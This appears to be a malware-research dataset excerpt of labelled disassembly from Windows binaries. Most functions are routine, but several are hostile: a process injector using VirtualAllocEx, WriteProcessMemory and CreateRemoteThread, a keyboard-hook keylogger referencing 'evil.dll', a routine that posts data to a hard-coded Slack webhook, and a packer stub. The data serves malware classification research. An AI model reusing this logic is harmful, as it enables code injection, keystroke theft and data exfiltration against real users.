joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14027c420
Capabilities:
Encrypt data using curve25519

Disassembly:
movzx eax, byte [rcx + 0x1f]
and byte [rcx], 0xf8
and al, 0x3f
or al, 0x40
mov byte [rcx + 0x1f], al
ret

Function at 0x1402816d0
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
xor r9b, r9b
xor ecx, ecx
mov r11, rdx
test r8, r8
je 0x1402817a4
sub r10, rdx
cmp r8, 0x20
jb 0x14028177e
mov rdx, r8
lea rax, [r11 + 0x10]
and rdx, 0xffffffffffffffe0
xorps xmm3, xmm3
xorps xmm2, xmm2
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add rcx, 0x20
movdqu xmm1, xmmword [r10 + rax - 0x10]
lea rax, [rax + 0x20]
xorps xmm1, xmm0
orps xmm3, xmm1
movdqu xmm1, xmmword [r10 + rax - 0x20]
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm1, xmm0
orps xmm2, xmm1
cmp rcx, rdx
jb 0x140281710
orps xmm2, xmm3
movdqa xmm0, xmm2
psrldq xmm0, 8
orps xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 4
orps xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 2
orps xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 1
orps xmm2, xmm0
movd r9d, xmm2
cmp rcx, r8
jae 0x1402817a4
lea rax, [rcx + r11]
sub r8, rcx
nop word [rax + rax]
movzx ecx, byte [r10 + rax]
xor cl, byte [rax]
lea rax, [rax + 1]
or r9b, cl
sub r8, 1
jne 0x140281790
movzx eax, r9b
ret
Function at 0x140282170
Capabilities:
Encode data using xor

Disassembly:
mov r9, rdx
mov r10, rcx
mov rax, 0xffffffffffffffff
test r8, r8
je 0x1402821c2
sub r10, rdx
nop word [rax + rax]
mov rcx, qword [r10 + r9]
xor rcx, qword [r9]
lea r9, [r9 + 8]
lea rdx, [rcx - 1]
not rcx
shr rcx, 0x3f
shr rdx, 0x3f
and rdx, rcx
mov rcx, rax
neg rdx
not rcx
or rdx, rcx
and rax, rdx
sub r8, 1
jne 0x140282190
ret

Function at 0x140283c30
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor eax, eax
mov r11, rcx
mov r10d, 1
movabs rdi, 0x8000000000000000
lea ebx, [rax + 0x20]
nop dword [rax]
nop word [rax + rax]
shr rax, 1
mov r9, r10
and r9d, 1
neg r9
mov rdx, r9
and r9, rdi
add r9, rax
and rdx, r11
mov r8, rdx
shr r9, 1
xor r8, r10
and rdx, r10
shr r8, 1
add r8, rdx
mov rax, r8
and eax, 1
neg rax
mov rcx, rax
and rax, rdi
and rcx, r11
add rax, r9
mov r10, rcx
and rcx, r8
xor r10, r8
shr r10, 1
add r10, rcx
sub rbx, 1
jne 0x140283c60
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x140284690
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402846da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402846da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402846da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402846da
cmp dword [rcx + 0x84], 0xe
jbe 0x1402846da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1402846dc
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x68
mov dword [rsp + 0x64], 0
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x54], ecx
cmp dword [rsp + 0x54], 2
jge 0x140001039
lea rcx, str.Input_Error:_E_necessario_inserire_il_PID_del_processo_da_ignettare
call fcn.140001160
mov dword [rsp + 0x64], 1
jmp 0x140001150
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.1400052b0
mov dword [rsp + 0x50], eax
mov r8d, dword [rsp + 0x50]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001087
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x50]
lea rcx, str.Runtime_Error:_Non_e_stato_possibile_ottenere_lHandle_al_processo___ld___Windows_Last_Error:__ld
call fcn.140001160
mov edx, dword [rsp + 0x50]
lea rcx, str.Handle_al_processo___ld__ottenuto
call fcn.140001160
mov r8, qword [0x140021200]
mov rcx, qword [rsp + 0x48]
xor eax, eax
mov edx, eax
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
mov r9, qword [0x140021200]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
lea r8, section..data
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
xor eax, eax
mov r8d, eax
xor eax, eax
mov rdx, r8
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x64], 0
mov eax, dword [rsp + 0x64]
add rsp, 0x68
ret

Function at 0x140001988
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019d4
xor al, al
add rsp, 0x28
ret

Function at 0x140008194
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007f84
Function at 0x14000d5c4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d5f4
xor eax, eax
jmp 0x14000d6b7
mov rbp, rbx
cmp word [rax], si
je 0x14000d619
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d600
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d5fc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d514
movsxd r14, eax
test eax, eax
jne 0x14000d657
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d5ed
mov rcx, r14
call fcn.14000a610
mov rdi, rax
test rax, rax
jne 0x14000d670
xor ecx, ecx
call fcn.14000999c
jmp 0x14000d64c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d514
test eax, eax
jne 0x14000d6a1
mov rcx, rdi
call fcn.14000999c
jmp 0x14000d6ab
xor ecx, ecx
call fcn.14000999c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400129ac
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140008edc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140012a36
cmp byte [rbp - 0x21], r15b
je 0x140012a31
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140012a6c
call fcn.140009bf0
test eax, eax
jne 0x140012a58
cmp byte [rbp - 0x21], r15b
je 0x140012a50
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140012a6c
cmp byte [rbp - 0x21], r15b
je 0x140012a69
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000bc90
test eax, eax
jne 0x140012b0c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140008edc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140012aab
cmp byte [rbp - 0x21], r15b
je 0x140012ae0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012ae0
call fcn.140009bf0
test eax, eax
jne 0x140012acc
cmp byte [rbp - 0x21], r15b
je 0x140012ac5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012ae0
cmp byte [rbp - 0x21], r15b
je 0x140012add
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000bc90
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140012b0c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140012b0f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140012b1d
mov rcx, rdi
call fcn.14000999c
cmp byte [rbp + 0x3f], r15b
je 0x140012b2c
mov rcx, qword [rbp + 0x27]
call fcn.14000999c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400150d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400150f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400150f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001850
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007a30
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007a30
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1400018c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000d0c4]
mov r12, rcx
test ebx, ebx
jle 0x1400019f0
mov rax, qword [0x14000d0c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000190c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001993
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1400018f0
mov rcx, r12
call fcn.140002260
mov rsi, rax
test rax, rax
je 0x140001a12
mov rax, qword [0x14000d0c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140002390
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000d0c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000198c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400019a0
add dword [0x14000d0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000d0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000198c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001850
nop dword [rax]
xor ebx, ebx
jmp 0x140001917
mov rax, qword [0x14000d0c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001850
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001850
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001ed0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000d120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d100]
test rbx, rbx
je 0x140001f24
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140001f1b
test r12, r12
je 0x140001f1b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f00
lea rcx, [0x14000d120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002260
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a920]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002280
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002288
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002280
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1400022d5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400022cc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002280
add rax, 0x28
cmp rax, r9
jne 0x1400022b8
xor eax, eax
ret

Function at 0x1400022e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a920]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002300
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002308
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002300
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a920]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400023b0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400023b8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140007c60
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x40
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
mov rbx, rcx
lea rcx, str.UserAgent
call sub.WINHTTP.dll_WinHttpOpen
mov r13, rax
test rax, rax
je 0x140007de8
xor r9d, r9d
mov r8d, 0x1bb
lea rdx, str.hooks.slack.com
mov rcx, r13
call sub.WINHTTP.dll_WinHttpConnect
mov r14, rax
test rax, rax
je 0x140007e18
mov dword [rsp + 0x30], 0x800000
xor r9d, r9d
lea r8, str._services_T05LNF51FAM_B05QT2PMZ6C_sZ9WhNpXri4Y9FRpiFoPaw3S
mov rcx, r14
mov qword [rsp + 0x28], 0
lea rdx, str.POST
mov qword [rsp + 0x20], 0
call sub.WINHTTP.dll_WinHttpOpenRequest
mov r12, rax
test rax, rax
je 0x140007e50
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov r9, rbx
mov r8d, 0xffffffff
mov rcx, r12
mov qword [rsp + 0x30], 0
lea rdx, str.Content_Type:_application_json
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call sub.WINHTTP.dll_WinHttpSendRequest
test eax, eax
je 0x140007d70
xor edx, edx
mov rcx, r12
call sub.WINHTTP.dll_WinHttpReceiveResponse
test eax, eax
je 0x140007dbb
mov rcx, r12
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rcx, r14
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rcx, r13
call sub.WINHTTP.dll_WinHttpCloseHandle
lea rcx, str.information_sent_successfully._n
add rsp, 0x40
pop rbx
pop rsi
pop r12
pop r13
pop r14
jmp fcn.140007fe0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call qword [fcn.140007a30]
lea rdx, str.WinHttpSendRequest._error__d_has_occurred._n
mov r8d, ebx
mov rcx, rax
call fcn.140008030
mov rcx, r12
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rcx, r14
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rcx, r13
call sub.WINHTTP.dll_WinHttpCloseHandle
xor edx, edx
mov rcx, r12
call sub.WINHTTP.dll_WinHttpReceiveResponse
test eax, eax
jne 0x140007d3d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call qword [fcn.140007a30]
mov r8d, ebx
lea rdx, str.WinHttpReceiveResponse._Error__d_has_occurred._n
mov rcx, rax
call fcn.140008030
jmp 0x140007d3d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov esi, eax
call qword [fcn.140007a30]
mov r8d, esi
lea rdx, str.WinHttpOpen._error:__d_has_occurred._n
mov rcx, rax
call fcn.140008030
jmp 0x140007c97
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov esi, eax
call qword [fcn.140007a30]
mov r8d, esi
lea rdx, str.WinHttpConnect._error:__d_has_occurred._n
mov rcx, rax
call fcn.140008030
mov rcx, r13
call sub.WINHTTP.dll_WinHttpCloseHandle
jmp 0x140007cbb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov esi, eax
call qword [fcn.140007a30]
mov r8d, esi
lea rdx, str.WinHttpOpenRequest._error:__d_has_occurred._n
mov rcx, rax
call fcn.140008030
mov rcx, r14
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rcx, r13
call sub.WINHTTP.dll_WinHttpCloseHandle
jmp 0x140007cfa
Function at 0x140008080
Capabilities:
Get common file path
Log keystrokes via application hook

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x240
call fcn.140001630
lea rbx, [rsp + 0x20]
mov ecx, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov r9, rbx
mov edx, 0x104
lea rcx, [rsp + 0x130]
lea r8, str._sevil.dll
call fcn.140008060
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xd
lea rdx, [0x140007e90]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rbx, qword [sym.imp.USER32.dll_GetMessageA]
mov rdi, qword [sym.imp.USER32.dll_TranslateMessage]
mov rsi, qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140008102
mov rcx, qword [0x140009110]
call rdi
mov rcx, qword [0x140009110]
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140009110]
call rbx
test eax, eax
jg 0x1400080f0
xor eax, eax
add rsp, 0x240
pop rbx
pop rsi
pop rdi
ret
Function at 0x6b98f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x6b98fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x6b990d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x6b98f5
lea eax, [rcx + 1]
jmp 0x6b991b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x6b992e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x6b9914
sub eax, 3
jb 0x6b994e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x6b999d
sar eax, 1
movsxd rbp, eax
jb 0x6b9984
jmp 0x6b995c
add ebx, ebx
jne 0x6b995a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x6b9984
inc ecx
add ebx, ebx
jne 0x6b996a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x6b9984
call r11
adc ecx, ecx
add ebx, ebx
jne 0x6b997d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x6b996c
add ecx, 2
jmp 0x6b9989
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.006b98b2
jmp 0x6b98fd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xb6200
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x6b99e9
cmp rsi, rcx
jae 0x6b99f1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x6b99d0
cmp al, 0x8f
ja 0x6b99d0
cmp byte [rsi - 2], 0xf
je 0x6b99d6
sub al, 0xe8
cmp al, 1
ja 0x6b99ba
cmp rsi, rcx
jae 0x6b99f1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x6b99c0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x6b99f1
lodsb al, byte [rsi]
jmp 0x6b99d0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2b5000]
mov eax, dword [rdi]
or eax, eax
je 0x6b9a4e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x2b9278]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x6b99fe
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x6b9a48
mov qword [rbx], rax
add rbx, 8
jmp 0x6b9a1e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x6b9a88
cmp al, 0xef
ja 0x6b9a7a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x6b9a5a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x6b9a69
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x6b9adc
sub rsp, 0xffffffffffffff80
jmp 0x463900
Function at 0x140005340
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov rax, qword [0x14011aa00]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rdi, rcx
xor esi, esi
mov qword [r11 - 0x18], rsi
lea rax, [r11 - 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
mov rdx, qword [rcx + 0x30]
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x14000545f
mov r9, qword [rdi + 0x18]
mov edx, esi
test r9, r9
je 0x1400053e3
lea edx, [rsi + 0x32]
mov r8d, edx
mov rax, r9
cmp word [rax], si
je 0x1400053c4
add rax, 2
sub r8, 1
jne 0x1400053b5
mov rax, r8
neg rax
sbb ecx, ecx
not ecx
and ecx, 0x80070057
test r8, r8
je 0x1400053de
sub rdx, r8
jmp 0x1400053e8
mov rdx, rsi
jmp 0x1400053e8
mov ecx, 0x80070057
test ecx, ecx
js 0x1400053f1
add rdx, rdx
jmp 0x1400053f4
mov rdx, rsi
test ecx, ecx
jne 0x140005437
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x1400054a7
lea eax, [rdx + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r9
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rdi + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
je 0x140005473
lea rcx, str.Unable_to_add_an_entry_for_the_UE_V_agent_service_to_the_App_V_4.x_ServiceInclusions_registry_key__error_code_0x_X_
jmp 0x14000546b
test dword [0x14011c180], 0x200
je 0x140005473
lea r8, str.Unexpected_error_getting_the_length_of_the_UE_V_registry_value
lea rdx, [0x1400c9710]
lea rcx, [0x140114050]
call fcn.140002a84
jmp 0x140005473
cmp eax, 2
je 0x140005473
lea rcx, str.An_unexpected_error_occurred_opening_the_App_V_4.x_product_registry_key__error_code_0x_X_
mov edx, eax
call fcn.1400064e8
nop
lea rcx, [rsp + 0xa0]
call fcn.140005940
mov eax, ebx
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.1400afcd0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea rdx, str.Attempting_to_use_an_invalid_handle.
lea rcx, [rsp + 0x38]
call fcn.1400059e0
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140005244
lea rdx, [0x140110078]
lea rcx, [rsp + 0x60]
call sub.msvcrt.dll__CxxThrowException
int3